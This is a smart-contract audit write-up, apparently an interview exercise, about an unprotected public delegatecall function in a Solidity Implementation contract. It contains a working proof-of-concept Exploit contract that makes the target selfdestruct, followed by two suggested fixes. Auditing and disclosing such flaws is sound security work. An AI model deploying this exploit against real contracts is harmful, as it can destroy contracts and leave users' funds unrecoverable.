# Spearbit interview task
## Unprotected, public and generic `delegatecal` can lead to Denial Of Service
**Severity**: High
Context: [`Implementation.sol#L17-L22`](https://github.com/spearbit-audits/writing-exercise/blob/develop/contracts/Implementation.sol#L17-L22)
Anyone can directly call public `delegatecallContract()` function in `Implementation` contract (without a proxy). This function is generic (accepts any address and any payload), thus Implementation contract is vulnerable to `selfdestruct()` and stealing of existing funds.
Proof of concept:
1. Attacker deploys `Exploit.sol` with a `sefldestruct()` feature.
2. Attacker/Exploit calls `Implementation.delegatecallContract()`.
3. Implementation delegatecalls back into `Exploit` contract triggering `selfdestruct()`.
4. Denial Of Service for all users. Funds unrecoverable
```solidity
// Exploit.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
interface IImplementation {
function delegatecallContract(address a, bytes calldata _calldata) payable external returns (bytes memory);
}
contract Exploit {
address immutable owner;
constructor() {
owner = msg.sender;
}
function attack(address victim_address) public {
bytes memory _calldata = abi.encodeWithSignature("kill_caller()");
IImplementation(victim_address).delegatecallContract(address(this), _calldata);
}
function kill_caller() public {
selfdestruct(payable(owner));
}
}
```
**Recommendation**: The solution is to disable regular calls and support only delegatecalls to the `Implementation` contract.
My initial solution proposal was the following:
Implementation can be guarded against regular calls with a simple modifier.
The code would look like this:
```solidity
pragma solidity 0.8.10;
contract Implementation {
address immutable implementation_address;
modifier only_delegatecall() {
require(address(this) != implementation_address, "Only delegatecall is accepted");
_;
}
constructor() {
implementation_address = address(this);
}
function callContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) {
(bool success , bytes memory ret) = a.call{value: msg.value}(_calldata);
require(success);
return ret;
}
function delegatecallContract(address a, bytes calldata _calldata) payable external only_delegatecall returns (bytes memory) {
(bool success, bytes memory ret) = a.delegatecall(_calldata);
require(success);
return ret;
}
}
```
But turns out this is what a library feature provides.
And so it can be translated to:
```solidity
pragma solidity 0.8.10;
library Implementation {
function callContract(address a, bytes calldata _calldata) external returns (bytes memory) {
(bool success , bytes memory ret) = a.call{value: msg.value}(_calldata);
require(success);
return ret;
}
function delegatecallContract(address a, bytes calldata _calldata) external returns (bytes memory) {
(bool success, bytes memory ret) = a.delegatecall(_calldata);
require(success);
return ret;
}
}
```